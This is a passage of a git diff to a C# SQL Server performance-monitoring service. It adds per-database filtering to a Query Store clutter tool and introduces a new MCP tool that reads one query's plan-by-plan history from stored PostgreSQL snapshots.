         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
         CancellationToken cancellationToken = default)
+        => GetQueryStoreClutter(postgres, server_name, hours_back, limit, include_fleet_median, as_of, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5244: the get_query_store_clutter read over a LIST of databases. The MCP tool passes <c>DatabaseFilter.One(database_name)</c>
+    /// and the web dispatch passes the repeated keys. Only the per-database rows narrow (read cost, plan churn, config);
+    /// the per-server overhead (waits, memory clerk), the window floor, the baseline discontinuities and the fleet reference
+    /// stay whole. The one-name consumers are list-aware: the Query Store precondition on the empty path takes the filter,
+    /// an empty answer for chosen databases is <c>empty</c> and says "for the database X" (one name) or "for the chosen databases" (two or more) (never a verdict on the
+    /// server), and <c>server_is_replica</c> is read off the server's WHOLE config, not the chosen databases' rows.
+    /// </summary>
+    internal static async Task<string> GetQueryStoreClutter(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        int limit,
+        bool include_fleet_median,
+        string? as_of,
+        DatabaseFilter databaseFilter,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -117,9 +132,9 @@ public static async Task<string> GetQueryStoreClutter(
             var requestedStart = now.AddHours(-hours_back);
             var serverIds = new[] { resolved.ServerId };
 
-            var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, serverIds, requestedStart, now, cancellationToken);
-            var planChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, serverIds, requestedStart, now, cancellationToken);
-            var config = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, serverIds, requestedStart, now, cancellationToken);
+            var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, serverIds, requestedStart, now, databaseFilter, cancellationToken);
+            var planChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, serverIds, requestedStart, now, databaseFilter, cancellationToken);
+            var config = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, serverIds, requestedStart, now, databaseFilter, cancellationToken);
             var waits = await DarlingQueryStoreClutterReader.GetQdsWaitsAsync(postgres, serverIds, requestedStart, now, cancellationToken);
             var clerk = await DarlingQueryStoreClutterReader.GetQueryStoreClerkAsync(postgres, resolved.ServerId, requestedStart, now, cancellationToken);
 
@@ -130,21 +145,29 @@ public static async Task<string> GetQueryStoreClutter(
                    collector's own last run recorded a precondition; and only then the plain miss. Waits and
                    the clerk are not consulted here — a server with QDS waits and no Query Store rows is a
                    server whose Query Store this tool cannot see, which is what the miss says. */
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, DarlingQueryStoreClutterReader.CollectorName, cancellationToken)
-                    ?? await DarlingRuntimePrecondition.QueryStoreStatusAsync(postgres, resolved.ServerId, resolved.ServerName, null, cancellationToken)
-                    ?? await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, DarlingQueryStoreClutterReader.CollectorName, cancellationToken)
-                    ?? McpHelpers.Status(
+                return McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, DarlingQueryStoreClutterReader.CollectorName, cancellationToken), databaseFilter.Describe())
+                    ?? McpHelpers.WithDatabase(await DarlingRuntimePrecondition.QueryStoreStatusAsync(postgres, resolved.ServerId, resolved.ServerName, databaseFilter, cancellationToken), databaseFilter.Describe())
+                    ?? McpHelpers.WithDatabase(await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, DarlingQueryStoreClutterReader.CollectorName, cancellationToken), databaseFilter.Describe())
+                    ?? (!databaseFilter.IsAll
+                        ? McpHelpers.StatusForDatabase(
+                            "empty",
+                            $"No Query Store rows, no query_store fan-out run and no query_store_health capture{DarlingMcpBlockingTools.ForChosenDatabases(databaseFilter)} in the {hours_back}-hour window. "
+                            + "A chosen database either has Query Store OFF, is not on this server, or has not completed a cycle yet. Widen the selection to read the whole server.", databaseFilter.Describe())
+                        : null)
+                    ?? McpHelpers.StatusForDatabase(
                         "unavailable",
                         $"No Query Store rows, no query_store fan-out run and no query_store_health capture for this server in the {hours_back}-hour window. "
                         + "The query_store collector runs every 5 minutes and query_store_health hourly on SQL Server 2016+; a server with none of the three either predates Query Store, has it OFF everywhere, or has not completed a cycle yet. "
-                        + "The plan-churn arm reads the raw tier, which a store with the rollups armed drops at 4 days — try a shorter window before concluding nothing ran.");
+                        + "The plan-churn arm reads the raw tier, which a store with the rollups armed drops at 4 days — try a shorter window before concluding nothing ran.", databaseFilter.Describe());
             }
 
             /* #2364 / #3653 item 17: what the raw tier actually held, beside what was asked for. The
                plan-churn arm is raw-only (the rollups carry no plan_id), so its floor is the window's. */
             var floor = await DarlingDataReader.GetQueryStoreWindowFloorAsync(postgres, resolved.ServerId, requestedStart, now, cancellationToken);
-            var effectiveStart = floor ?? requestedStart;
-            var windowTruncated = floor is DateTime f && f > requestedStart + WindowFloorTolerance;
+            /* The floor can sit before the requested start when the rows reach back past the window; the shared
+               helper never reports a served start earlier than the one asked for. */
+            var effectiveStart = RawWindowFloor.EffectiveStart(floor, requestedStart);
+            var windowTruncated = RawWindowFloor.IsTruncated(floor, requestedStart);
 
             var discontinuities = await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, requestedStart, now, cancellationToken);
 
@@ -156,9 +179,9 @@ the clerk are not consulted here — a server with QDS waits and no Query Store
             if (include_fleet_median)
             {
                 var fleetIds = await DarlingQueryStoreClutterReader.GetEnabledSqlServerTargetsAsync(postgres, MonitoredEngineKind.SqlServer, cancellationToken);
-                var fleetReadCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, fleetIds, requestedStart, now, cancellationToken);
-                var fleetChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, fleetIds, requestedStart, now, cancellationToken);
-                var fleetConfig = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, fleetIds, requestedStart, now, cancellationToken);
+                var fleetReadCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, fleetIds, requestedStart, now, cancellationToken: cancellationToken);
+                var fleetChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, fleetIds, requestedStart, now, cancellationToken: cancellationToken);
+                var fleetConfig = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, fleetIds, requestedStart, now, cancellationToken: cancellationToken);
                 var fleetWaits = await DarlingQueryStoreClutterReader.GetQdsWaitsAsync(postgres, fleetIds, requestedStart, now, cancellationToken);
                 var median = QueryStoreClutter.ComputeFleetMedian(fleetIds, fleetReadCost, fleetChurn, fleetConfig, fleetWaits);
                 fleetMedian = new
@@ -188,7 +211,12 @@ the clerk are not consulted here — a server with QDS waits and no Query Store
 
             var includedWaits = waits.Where(w => !QueryStoreClutter.IsExcludedWaitType(w.WaitType)).ToList();
             var excludedPresent = waits.Where(w => QueryStoreClutter.IsExcludedWaitType(w.WaitType)).Select(w => w.WaitType).OrderBy(w => w, StringComparer.Ordinal).ToList();
-            var serverIsReplica = QueryStoreClutter.IsReplicaServer(config);
+            /* A SERVER-level claim ("every database here is a readable secondary"), so it is read off the server's whole latest
+               config, never the chosen databases' rows: one replica database picked from a mixed server must not say the server is one. */
+            var serverIsReplica = QueryStoreClutter.IsReplicaServer(
+                databaseFilter.IsAll
+                    ? config
+                    : await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, serverIds, requestedStart, now, cancellationToken: cancellationToken));
 
             var databases = page.Select(r => new
             {
@@ -260,6 +288,8 @@ never a guess — the flag flips when the rung lands and the reader gains the co
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #5244: which databases the rows are limited to: the name for one, "the chosen databases" for two or more, null for all. */
+                database_name = databaseFilter.Describe(),
                 /* The window as its own block: the requested edges and, beside them, the raw tier's reach under
                    the window floor's spelling (#2364 / #3653 item 17). Nested rather than flat because this
                    payload ALSO carries a page cut (`truncated`, below), and the two facts must not share a
@@ -269,7 +299,7 @@ payload ALSO carries a page cut (`truncated`, below), and the two facts must not
                 {
                     start = Stamp(requestedStart),
                     end = Stamp(now),
-                    effective_start = Stamp(effectiveStart),
+                    effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                     effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
                     window_truncated = windowTruncated,
                     truncation_note = windowTruncated
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs
new file mode 100644
index 0000000000..e12a74ebbf
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs
@@ -0,0 +1,359 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+#pragma warning disable CA1707 // MCP tools use snake_case naming convention
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// #5234: one Query Store query's history, plan by plan -- the read behind the web grid's History button, twin of the
+/// desktop <c>QueryStoreHistoryWindow</c>. Store-only: it reads the collector's <c>query_store_stats</c> snapshots and
+/// never connects to the monitored server. It follows the grid's own tier choice (<c>get_query_store_top</c>): the raw
+/// tier, or <c>query_store_interval_wide</c> when the window is long enough and the grid's gate says that table holds
+/// it, so History never covers less than the grid does. <c>window_truncated</c> says where stored history starts.
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpQueryStoreHistoryTools
+{
+    /// <summary>
+    /// The most per-interval points one answer carries; <c>points_truncated</c> marks a cut, and the NEWEST points are kept.
+    /// A point serializes to 130-160 bytes (157 with every field at full width), so 150 points is about 23 KB: with <see cref="MaxPlans"/>
+    /// plans of about 310 bytes each the answer stays under <see cref="McpResponseBudget.DefaultBytes"/>. <see cref="PointByteBudget"/>
+    /// is the guard behind it for unusually wide values.
+    /// </summary>
+    internal const int MaxPoints = 150;
+
+    /// <summary>The most plans one answer lists, by total duration; <c>plans_truncated</c> marks a cut.</summary>
+    internal const int MaxPlans = 20;
+
+    /// <summary>Bytes the points may take: the response budget less room for the envelope and a full plans list.</summary>
+    internal const int PointByteBudget = McpResponseBudget.DefaultBytes - 8 * 1024;
+
+    /// <summary>
+    /// The newest points that fit <see cref="MaxPoints"/> and <paramref name="byteBudget"/>, oldest first. <paramref name="rows"/>
+    /// is ordered oldest first; the cut drops the oldest.
+    /// </summary>
+    internal static List<T> NewestWithinBudget<T>(IReadOnlyList<T> rows, Func<T, int> byteLength, int maxPoints, int byteBudget)
+    {
+        var kept = new List<T>();
+        var used = 0;
+        for (var i = rows.Count - 1; i >= 0 && kept.Count < maxPoints; i--)
+        {
+            var size = byteLength(rows[i]) + 1;
+            if (used + size > byteBudget) break;
+            used += size;
+            kept.Add(rows[i]);
+        }
+        kept.Reverse();
+        return kept;
+    }
+
+    /// <summary>
+    /// The read's order, a total one over the deduped rows (every column of the dedupe's partition plus the collection
+    /// time), so rows at one instant always come back in the same order and a cut keeps the same ones every time (#5300).
+    /// </summary>
+    internal const string HistoryOrder =
+        "ORDER BY collection_time, plan_id, runtime_stats_interval_id, execution_type_desc, replica_role, first_execution_time";
+
+    /// <summary>
+    /// Deduped per interval, as #1841 requires: the collector re-fetches the open interval every cycle, so the same
+    /// interval is stored repeatedly with a growing execution_count. Only the latest snapshot of an interval is kept
+    /// (the newest collection_time, then the largest execution_count), so no total adds one interval twice. The
+    /// partition is the one <c>DarlingDataReader.QueryStoreTopRawPrefix</c> uses; PostgreSQL matches NULL to NULL in it.
+    /// </summary>
+    internal const string HistorySql = """
+        WITH deduped AS (
+            SELECT *, ROW_NUMBER() OVER (PARTITION BY plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+                                         ORDER BY collection_time DESC, execution_count DESC) AS rn
+            FROM query_store_stats
+            WHERE server_id = $1 AND database_name = $2 AND query_id = $3
+            AND collection_time >= $4 AND collection_time <= $5)
+        SELECT plan_id, collection_time, execution_count,
+               CAST(avg_duration_us AS double precision) / 1000.0,
+               CAST(avg_cpu_time_us AS double precision) / 1000.0,
+               first_execution_time, last_execution_time, is_forced_plan
+        FROM deduped WHERE rn = 1
+        """ + " " + HistoryOrder;
+
+    /// <summary>
+    /// The interval table's twin of <see cref="HistorySql"/> (#5300), the tier the grid reads below raw retention:
+    /// <c>query_store_interval_wide</c> already holds ONE row per interval identity, its latest snapshot (the dedupe above,
+    /// kept as the table is written), so this reads it directly. $4 is the gate's <c>ReadStart</c>. The
+    /// <c>first_execution_time</c> floor is the grid's own (#4605): it filters index entries before the heap and drops
+    /// no row. Its upper twin (#5523), <c>first_execution_time &lt;= $5 + </c><see cref="QueryStoreIntervalWide.FirstExecUpperSlackSql"/>,
+    /// closes the range <c>ix_query_store_interval_wide_server_first_exec</c> scans, so a window that ended days ago does not
+    /// walk the server's newer rows; it drops a row only for a monitored-server clock more than the slack (twelve hours)
+    /// ahead of the service's, or a collection cycle longer than that
+    /// (<see cref="QueryStoreIntervalWide.FirstExecUpperSlack"/>'s summary). A static readonly because the interval literal is derived from a TimeSpan; <c>$$"""</c> keeps <c>$1</c> literal.
+    /// </summary>
+    internal static readonly string HistoryTableSql = $$"""
+        SELECT plan_id, collection_time, execution_count,
+               CAST(avg_duration_us AS double precision) / 1000.0,
+               CAST(avg_cpu_time_us AS double precision) / 1000.0,
+               first_execution_time, last_execution_time, is_forced_plan
+        FROM query_store_interval_wide
+        WHERE server_id = $1 AND database_name = $2 AND query_id = $3
+        AND collection_time >= $4 AND collection_time <= $5
+        AND first_execution_time >= $4 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+        AND first_execution_time <= $5 + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}}
+        """ + " " + HistoryOrder;
+
+    private const string SetTransactionReadOnlySql = "SET TRANSACTION READ ONLY";
+
+    internal readonly record struct HistoryRow(
+        long PlanId, DateTime CollectionTime, long ExecutionCount, double? AvgDurationMs, double? AvgCpuMs,
+        DateTime? FirstExecutionTime, DateTime? LastExecutionTime, bool IsForcedPlan);
+
+    internal sealed record PlanTotals(
+        long PlanId, long ExecutionCount, double? AvgDurationMs, double TotalDurationMs, double? AvgCpuMs, double TotalCpuMs,
+        DateTime? FirstExecutionTime, DateTime? LastExecutionTime, bool IsForcedPlan);
+
+    /// <summary>One point of the per-interval series, as the answer writes it.</summary>
+    internal sealed record HistoryPoint(
+        [property: JsonPropertyName("collection_time")] string CollectionTime,
+        [property: JsonPropertyName("plan_id")] long PlanId,
+        [property: JsonPropertyName("execution_count")] long ExecutionCount,
+        [property: JsonPropertyName("avg_duration_ms")] double? AvgDurationMs,
+        [property: JsonPropertyName("avg_cpu_ms")] double? AvgCpuMs);
+
+    /// <summary>
+    /// Folds snapshot rows into one line per plan: totals are the sum of execution_count x average, and the average is
+    /// that total over the summed executions (execution-weighted, which can differ from the grid's average of averages).
+    /// </summary>
+    internal static List<PlanTotals> FoldPlans(IEnumerable<HistoryRow> rows) =>
+        rows.GroupBy(r => r.PlanId).OrderBy(g => g.Key).Select(g =>
+        {
+            var execs = g.Sum(r => r.ExecutionCount);
+            var totalDuration = g.Sum(r => r.ExecutionCount * (r.AvgDurationMs ?? 0));
+            var totalCpu = g.Sum(r => r.ExecutionCount * (r.AvgCpuMs ?? 0));
+            return new PlanTotals(
+                g.Key, execs,
+                execs > 0 ? totalDuration / execs : null, totalDuration,
+                execs > 0 ? totalCpu / execs : null, totalCpu,
+                g.Min(r => r.FirstExecutionTime), g.Max(r => r.LastExecutionTime), g.Any(r => r.IsForcedPlan));
+        }).ToList();
+
+    /// <summary>
+    /// One row per (plan_id, collection_time), oldest first and by plan within an instant (#5300): outcomes (Regular,
+    /// Aborted, Exception) and replica roles that Query Store keeps in separate rows, and intervals one collection cycle
+    /// stores at the same instant, are folded the way <see cref="FoldPlans"/> folds a plan (execution-weighted, so one
+    /// instant draws one value per plan and a line never runs vertically). A lone row passes through unchanged.
+    /// The order does not depend on the order of <paramref name="rows"/>.
+    /// </summary>
+    internal static List<HistoryRow> FoldPoints(IEnumerable<HistoryRow> rows) =>
+        rows.GroupBy(r => (r.PlanId, r.CollectionTime))
+            .OrderBy(g => g.Key.CollectionTime).ThenBy(g => g.Key.PlanId)
+            .Select(g =>
+            {
+                var members = g.ToList();
+                if (members.Count == 1) return members[0];
+                var p = FoldPlans(members)[0];
+                return new HistoryRow(p.PlanId, g.Key.CollectionTime, p.ExecutionCount, p.AvgDurationMs, p.AvgCpuMs, p.FirstExecutionTime, p.LastExecutionTime, p.IsForcedPlan);
+            }).ToList();
+
+    /// <summary>
+    /// The series for the plans the answer lists (#5300): rows of any other plan are dropped BEFORE the points are built,
+    /// so a plan the answer cuts never uses up the point cap, and the points come out in one fixed order.
+    /// </summary>
+    internal static List<HistoryPoint> BuildPoints(IEnumerable<HistoryRow> rows, IEnumerable<long> keptPlanIds)
+    {
+        var kept = keptPlanIds.ToHashSet();
+        return FoldPoints(rows.Where(r => kept.Contains(r.PlanId)))
+            .Select(r => new HistoryPoint(r.CollectionTime.ToString("o", CultureInfo.InvariantCulture), r.PlanId, r.ExecutionCount, r.AvgDurationMs, r.AvgCpuMs))
+            .ToList();
+    }
+
+    private static async Task<List<HistoryRow>> ReadRowsAsync(NpgsqlDataReader reader, CancellationToken cancellationToken)
+    {
+        var rows = new List<HistoryRow>();
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            rows.Add(new HistoryRow(
+                reader.GetInt64(0), reader.GetDateTime(1), reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
+                reader.IsDBNull(3) ? null : reader.GetDouble(3), reader.IsDBNull(4) ? null : reader.GetDouble(4),
+                reader.IsDBNull(5) ? null : reader.GetDateTime(5), reader.IsDBNull(6) ? null : reader.GetDateTime(6),
+                !reader.IsDBNull(7) && reader.GetBoolean(7)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>
+    /// The grid's tier choice (#5300), mirroring <c>DarlingDataReader.TryGetQueryStoreTopFromTableAsync</c>: the same
+    /// pre-check (<see cref="DarlingDataReader.QueryStoreTopMayReadTable"/>), the same gate
+    /// (<see cref="QueryStoreIntervalWide.ResolveReadAsync"/>, with <see cref="DarlingDataReader.QueryStoreTopMinWindow"/> and
+    /// the window's end as the literal end), on one connection in one read-only REPEATABLE READ transaction so the gate's
+    /// decision and the read it authorizes see one snapshot. Null (never an empty list) when the gate says raw or anything
+    /// before the table read fails; a fault falls back to raw, as the grid's does. Cancellation propagates.
+    /// </summary>
+    private static async Task<(List<HistoryRow> Rows, QueryStoreIntervalWide.WideReadPlan Plan)?> TryReadFromTableAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, DateTime start, DateTime end, CancellationToken cancellationToken)
+    {
+        if (!DarlingDataReader.QueryStoreTopMayReadTable(start, end)) return null;
+        var gateDecided = false;
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await using var transaction = await connection.BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead, cancellationToken);
+            await using (var readOnly = new NpgsqlCommand(SetTransactionReadOnlySql, connection) { Transaction = transaction, CommandTimeout = McpCommandDeadlines.ReadSeconds })
+            {
+                await readOnly.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            var plan = await QueryStoreIntervalWide.ResolveReadAsync(
+                connection, serverId, start, end, end, DarlingDataReader.QueryStoreTopMinWindow,
+                McpCommandDeadlines.ReadSeconds, ReadScope.Current?.Logger, cancellationToken);
+            if (!plan.UseTable)
+            {
+                if (plan.DecisionFailed) ReadScope.Note(ReadFallback.GateFailed);
+                return null;
+            }
+
+            gateDecided = true;
+            await using var command = new NpgsqlCommand(HistoryTableSql, connection) { Transaction = transaction, CommandTimeout = McpCommandDeadlines.ReadSeconds };
+            command.Parameters.AddWithValue(serverId);
+            command.Parameters.AddWithValue(databaseName);
+            command.Parameters.AddWithValue(queryId);
+            command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, DateTime.SpecifyKind(plan.ReadStart, DateTimeKind.Unspecified));
+            command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            var rows = await ReadRowsAsync(reader, cancellationToken);
+            ReadScope.NoteSource(ReadScope.SourceIntervalTable);
+            return (rows, plan);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ReadScope.NoteFallback(gateDecided ? ReadFallback.FallbackRaw : ReadFallback.GateFailed, "#5300 Query Store history table read", ex);
+            return null;
+        }
+    }
+
+    [McpServerTool(Name = "get_query_store_query_history"), Description(
+        "One Query Store query's history, plan by plan: per-plan executions, duration and CPU, plus a per-interval series. window_truncated marks a history floor. <<GUIDE>>" +
+        "Per-plan averages are execution-weighted (total over executions), so they can differ from get_query_store_top, which averages the interval averages. " +
+        "Outcomes (Regular, Aborted, Exception) and replica roles are combined, execution-weighted, into one value per plan and collection time. " +
+        "Reads the raw tier, or the per-interval table (kept 9 days) past raw retention, by get_query_store_top's own rule, so it covers what that grid does; effective_start is where complete history begins. " +
+        "points keeps the newest 150 of the listed plans (points_truncated) and plans the 20 longest by total duration (plans_truncated).")]
+    public static async Task<string> GetQueryStoreQueryHistory(
+        NpgsqlDataSource postgres,
+        [Description("The database_name from get_query_store_top.")] string database_name,
+        [Description("The query_id from get_query_store_top.")] long query_id,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Hours of history ending at as_of (default 24).")] int hours_back = 24,
+        [Description("Window end, ISO 8601 UTC. Default: now.")] string? as_of = null,
+        CancellationToken cancellationToken = default)
+    {
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        if (validation != null) return validation;
+        var start = windowEnd.AddHours(-hours_back);
+
+        try
+        {
+            /* #5300: the grid's tier first. A window the grid reads from the interval table is read from it here, from the
+               same bound, so a query the grid lists always has its history; anything else reads the raw tier as before. */
+            var table = await TryReadFromTableAsync(postgres, resolved.ServerId, database_name, query_id, start, windowEnd, cancellationToken);
+            List<HistoryRow> rows;
+            if (table is { } served)
+            {
+                rows = served.Rows;
+            }
+            else
+            {
+                await using var command = postgres.CreateCommand(HistorySql);
+                command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                command.Parameters.AddWithValue(resolved.ServerId);
+                command.Parameters.AddWithValue(database_name);
+                command.Parameters.AddWithValue(query_id);
+                /* #1969: the columns are timestamp without time zone; a Utc-kinded bind is refused or shifted. */
+                command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, DateTime.SpecifyKind(start, DateTimeKind.Unspecified));
+                command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, DateTime.SpecifyKind(windowEnd, DateTimeKind.Unspecified));
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                rows = await ReadRowsAsync(reader, cancellationToken);
+                ReadScope.NoteSource(ReadScope.SourceRaw);
+            }
+
+            /* #4966: say where the window starts before the empty check, so an empty answer over a cut window says the window
+               was cut. When the interval table served, its own plan says how far back the answer reaches and the raw floor
+               probe is not asked: raw's floor describes a tier that did not answer (the grid does the same). */
+            DateTime effectiveStart;
+            bool truncated;
+            object? emptyHints;
+            if (table is { } tableServed)
+            {
+                effectiveStart = tableServed.Plan.ReadStart;
+                truncated = RawWindowFloor.IsTruncated(effectiveStart, start);
+                emptyHints = new McpWindowNotice(
+                    McpHelpers.FormatEffectiveStart(effectiveStart), truncated,
+                    truncated ? DarlingMcpDataTools.QueryStoreTableNote(effectiveStart, tableServed.Plan.StartBound) : null).AsHints();
+            }
+            else
+            {
+                var floor = await DarlingDataReader.GetQueryStoreWindowFloorAsync(postgres, resolved.ServerId, start, windowEnd, cancellationToken);
+                effectiveStart = RawWindowFloor.EffectiveStart(floor, start);
+                truncated = RawWindowFloor.IsTruncated(floor, start);
+                emptyHints = DarlingMcpWindowNotice.Build(floor, start, "query_store_stats", emptyAnswer: true).AsHints();
+            }
+
+            if (rows.Count == 0)
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken)
+                    ?? McpHelpers.Status("empty",
+                        $"No Query Store history for query_id {query_id} in database '{database_name}' in the {hours_back}-hour window searched.",
+                        emptyHints);
+
+            var allPlans = FoldPlans(rows);
+            var plansTruncated = allPlans.Count > MaxPlans;
+            var plans = plansTruncated ? allPlans.OrderByDescending(p => p.TotalDurationMs).Take(MaxPlans).OrderBy(p => p.PlanId).ToList() : allPlans;
+            var allPoints = BuildPoints(rows, plans.Select(p => p.PlanId));
+            var points = NewestWithinBudget(allPoints, p => JsonSerializer.SerializeToUtf8Bytes(p, McpHelpers.JsonOptions).Length, MaxPoints, PointByteBudget);
+            var pointsTruncated = points.Count < allPoints.Count;
+            return JsonSerializer.Serialize(new
+            {
+                database_name,
+                query_id,
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
+                window_truncated = truncated,
+                plans = plans.Select(p => new
+                {
+                    plan_id = p.PlanId,
+                    execution_count = p.ExecutionCount,
+                    avg_duration_ms = p.AvgDurationMs,
+                    total_duration_ms = p.TotalDurationMs,
+                    avg_cpu_ms = p.AvgCpuMs,
+                    total_cpu_ms = p.TotalCpuMs,
+                    first_execution_time = p.FirstExecutionTime?.ToString("o", CultureInfo.InvariantCulture),
+                    last_execution_time = p.LastExecutionTime?.ToString("o", CultureInfo.InvariantCulture),
+                    is_forced_plan = p.IsForcedPlan
+                }),
+                plans_truncated = plansTruncated,
+                points,
+                points_truncated = pointsTruncated
+            }, McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_query_store_query_history", ex);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs
index b36a0c9d1a..6a69491acd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs
@@ -13,9 +13,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -45,7 +47,7 @@ public sealed class DarlingMcpQueryStoreRegressionTools
     private const int QueryTextPreviewLength = 240;
 
     [McpServerTool(Name = "get_query_store_regressions"), Description("Finds queries whose Query Store performance got WORSE: recent window (hours_back, ending at as_of) vs a fixed 7-day baseline before it (see baseline_start/baseline_end). get_query_store_top ranks EXPENSIVE, this ranks CHANGED. Gated: average CPU regressed over 25%. duration_regression_percent, io_regression_percent and severity are null, not 0%, when their baseline is 0. additional_duration_ms is the ranking key. empty: no regression, or nothing yet in the baseline window. unavailable: no baseline exists yet. not_collected: this server's engine cannot run Query Store. <<GUIDE>> Finds queries whose Query Store performance got WORSE, by comparing each (database, query_id) group's averages inside a recent window against its baseline - a FIXED 7-day lookback ending at that window's start (#4195; before this it was every capture EVER collected before the window, so its cost tracked how much history the store still retained rather than the window asked for, and the comparison period silently grew on a server with more retention). baseline_start and baseline_end report exactly which period was compared - a regression against something older than the baseline lookback is not caught; a store retaining less than that is unaffected. Returns baseline vs recent duration, CPU and logical reads with the regression percent for each, the execution-count-weighted extra duration (the ranking key: a 5 ms regression executed a million times outranks a 5-second one executed twice), the plan counts on both sides, and a duration-driven severity band. get_query_store_top answers what is EXPENSIVE; the most expensive query is usually the one that always was. This answers what CHANGED. Rows are kept only where average CPU regressed by more than 25%. A regression percent whose BASELINE side is 0 has no denominator and is returned as null, with the reason under undefined_percents - never as 0, which would read as no change when the truth is the largest possible one; compare the two absolute figures instead. The ranking key is the absolute, execution-weighted duration delta, which exists whether or not a ratio does, so a null percent never sorts as 0. severity is banded from the duration percent and is null when that percent is.")]
-    public static async Task<string> GetQueryStoreRegressions(
+    public static Task<string> GetQueryStoreRegressions(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Size of the RECENT window, in hours back from now. Everything collected before it is the baseline. Default 24.")] int hours_back = 24,
@@ -53,7 +55,28 @@ public static async Task<string> GetQueryStoreRegressions(
         [Description("Maximum rows to return, worst first. Default 30, sized to keep a default call under the shared response budget. Read truncated to know whether the window held more.")] int limit = 30,
         [Description("Return each row's full query text instead of a 240-character preview. Default false.")] bool full_text = false,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
+        => GetQueryStoreRegressions(
